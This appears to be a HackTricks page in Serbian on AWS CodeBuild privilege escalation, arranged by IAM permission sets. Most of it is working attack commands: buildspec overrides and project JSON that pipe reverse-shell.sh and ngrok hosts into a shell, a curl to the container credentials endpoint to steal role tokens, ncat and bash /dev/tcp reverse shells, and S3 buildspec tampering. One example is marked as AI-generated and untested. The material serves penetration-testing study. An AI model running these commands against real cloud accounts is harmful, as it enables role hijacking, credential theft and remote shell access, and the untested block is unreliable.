AWS - Codebuild Privesc

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codebuild

Dobijte više informacija u:

AWS - Codebuild Enum

codebuild:StartBuild | codebuild:StartBuildBatch

Samo sa jednom od ovih dozvola dovoljno je pokrenuti gradnju sa novim buildspec-om i ukrasti token iam uloge dodeljene projektu:

StartBuild

cat > /tmp/buildspec.yml <<EOF
version: 0.2

phases:
build:
commands:
- curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh
EOF

aws codebuild start-build --project <project-name> --buildspec-override file:///tmp/buildspec.yml

StartBuildBatch

cat > /tmp/buildspec.yml <<EOF
version: 0.2

batch:
fast-fail: false
build-list:
- identifier: build1
env:
variables:
BUILD_ID: build1
buildspec: |
version: 0.2
env:
shell: sh
phases:
build:
commands:
- curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh
ignore-failure: true
EOF

aws codebuild start-build-batch --project <project-name> --buildspec-override file:///tmp/buildspec.yml

Napomena: Razlika između ove dve komande je u tome što:

• StartBuild pokreće jedan posao izgradnje koristeći specifičan buildspec.yml.

• StartBuildBatch vam omogućava da pokrenete grupu izgradnji, sa složenijim konfiguracijama (kao što je pokretanje više izgradnji paralelno).

Potencijalni uticaj: Direktno privesc na pridružene AWS Codebuild uloge.

iam:PassRole, codebuild:CreateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

Napadač sa iam:PassRole, codebuild:CreateProject, i codebuild:StartBuild ili codebuild:StartBuildBatch dozvolama bi mogao da escalira privilegije na bilo koju codebuild IAM ulogu kreiranjem aktivne.

Primer1

# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"

JSON="{
\"name\": \"codebuild-demo-project\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"


REV_PATH="/tmp/rev.json"

printf "$JSON" > $REV_PATH

# Create project
aws codebuild create-project --name codebuild-demo-project --cli-input-json file://$REV_PATH

# Build it
aws codebuild start-build --project-name codebuild-demo-project

# Wait 3-4 mins until it's executed
# Then you can access the logs in the console to find the AWS role token in the output

# Delete the project
aws codebuild delete-project --name codebuild-demo-project

Primer2

# Generated by AI, not tested
# Create a buildspec.yml file with reverse shell command
echo 'version: 0.2
phases:
build:
commands:
- curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash' > buildspec.yml

# Upload the buildspec to the bucket and give access to everyone
aws s3 cp buildspec.yml s3:<S3_BUCKET_NAME>/buildspec.yml

# Create a new CodeBuild project with the buildspec.yml file
aws codebuild create-project --name reverse-shell-project --source type=S3,location=<S3_BUCKET_NAME>/buildspec.yml --artifacts type=NO_ARTIFACTS --environment computeType=BUILD_GENERAL1_SMALL,image=aws/codebuild/standard:5.0,type=LINUX_CONTAINER --service-role <YOUR_HIGH_PRIVILEGE_ROLE_ARN> --timeout-in-minutes 60

# Start a build with the new project
aws codebuild start-build --project-name reverse-shell-project

Potencijalni uticaj: Direktno privesc na bilo koju AWS Codebuild ulogu.

U Codebuild kontejneru datoteka /codebuild/output/tmp/env.sh sadrži sve env varijable potrebne za pristup metapodacima kredencijala.

Ova datoteka sadrži env varijablu AWS_CONTAINER_CREDENTIALS_RELATIVE_URI koja sadrži URL putanju za pristup kredencijalima. Biće nešto poput /v2/credentials/2817702c-efcf-4485-9730-8e54303ec420

Dodajte to u URL http://169.254.170.2/ i moći ćete da izvučete kredencijale uloge.

Pored toga, takođe sadrži env varijablu ECS_CONTAINER_METADATA_URI koja sadrži kompletnu URL adresu za dobijanje metapodataka o kontejneru.

iam:PassRole, codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

Baš kao u prethodnom odeljku, ako umesto kreiranja projekta za izgradnju možete da ga modifikujete, možete da navedete IAM ulogu i ukradete token.

REV_PATH="/tmp/codebuild_pwn.json"

# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"

# You need to indicate the name of the project you want to modify
JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"

printf "$JSON" > $REV_PATH

aws codebuild update-project --cli-input-json file://$REV_PATH

aws codebuild start-build --project-name codebuild-demo-project

Potencijalni uticaj: Direktno privesc na bilo koju AWS Codebuild ulogu.

codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

Kao u prethodnom odeljku, ali bez iam:PassRole dozvole, možete zloupotrebiti ove dozvole da modifikujete postojeće Codebuild projekte i pristupite ulozi koju već imaju dodeljenu.

StartBuild

REV_PATH="/tmp/codebuild_pwn.json"

# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"

JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",
\"computeType\": \"BUILD_GENERAL1_SMALL\",
\"imagePullCredentialsType\": \"CODEBUILD\"
}
}"

# Note how it's used a image from AWS public ECR instead from docjerhub as dockerhub rate limits CodeBuild!

printf "$JSON" > $REV_PATH

aws codebuild update-project --cli-input-json file://$REV_PATH

aws codebuild start-build --project-name codebuild-demo-project

StartBuildBatch

REV_PATH="/tmp/codebuild_pwn.json"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"

# You need to indicate the name of the project you want to modify
JSON="{
\"name\": \"project_name\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nbatch:\\\\n  fast-fail: false\\\\n  build-list:\\\\n    - identifier: build1\\\\n      env:\\\\n        variables:\\\\n          BUILD_ID: build1\\\\n      buildspec: |\\\\n        version: 0.2\\\\n        env:\\\\n          shell: sh\\\\n        phases:\\\\n          build:\\\\n            commands:\\\\n              - curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh\\\\n      ignore-failure: true\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",
\"computeType\": \"BUILD_GENERAL1_SMALL\",
\"imagePullCredentialsType\": \"CODEBUILD\"
}
}"

printf "$JSON" > $REV_PATH

# Note how it's used a image from AWS public ECR instead from dockerhub as dockerhub rate limits CodeBuild!

aws codebuild update-project --cli-input-json file://$REV_PATH

aws codebuild start-build-batch --project-name codebuild-demo-project

Potencijalni uticaj: Direktno privesc do povezanih AWS Codebuild uloga.

SSM

Imati dovoljno dozvola za pokretanje ssm sesije omogućava da se uđe u Codebuild projekat koji se gradi.

Codebuild projekat će morati da ima tačku prekida:

phases:
pre_build:
commands:
- echo Ušao u pre_build fazu...
- echo "Hello World" > /tmp/hello-world
      - codebuild-breakpoint

I zatim:

aws codebuild batch-get-builds --ids <buildID> --region <region> --output json
aws ssm start-session --target <sessionTarget> --region <region>

Za više informacija proverite dokumentaciju.

(codebuild:StartBuild | codebuild:StartBuildBatch), s3:GetObject, s3:PutObject

Napadač koji može da pokrene/ponovo pokrene gradnju određenog CodeBuild projekta koji čuva svoj buildspec.yml fajl na S3 bucket-u kojem napadač ima pristup za pisanje, može dobiti izvršenje komandi u CodeBuild procesu.

Napomena: eskalacija je relevantna samo ako CodeBuild radnik ima drugačiju ulogu, nadamo se privilegovaniju, od one napadača.

aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./

vim ./buildspec.yml

# Add the following lines in the "phases > pre_builds > commands" section
#
#    - apt-get install nmap -y
#    - ncat <IP> <PORT> -e /bin/sh

aws s3 cp ./buildspec.yml s3://<build-configuration-files-bucket>/buildspec.yml

aws codebuild start-build --project-name <project-name>

# Wait for the reverse shell :)

Možete koristiti nešto poput ovog buildspec da dobijete reverse shell:

buildspec.yml

version: 0.2

phases:
build:
commands:
- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1

Uticaj: Direktna privesc na ulogu koju koristi AWS CodeBuild radnik koja obično ima visoke privilegije.

Napomena da se buildspec može očekivati u zip formatu, tako da bi napadač morao da preuzme, raspakuje, izmeni buildspec.yml iz root direktorijuma, ponovo zipuje i otpremi

Više detalja može se naći ovde.

Potencijalni uticaj: Direktna privesc na priložene AWS Codebuild uloge.

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

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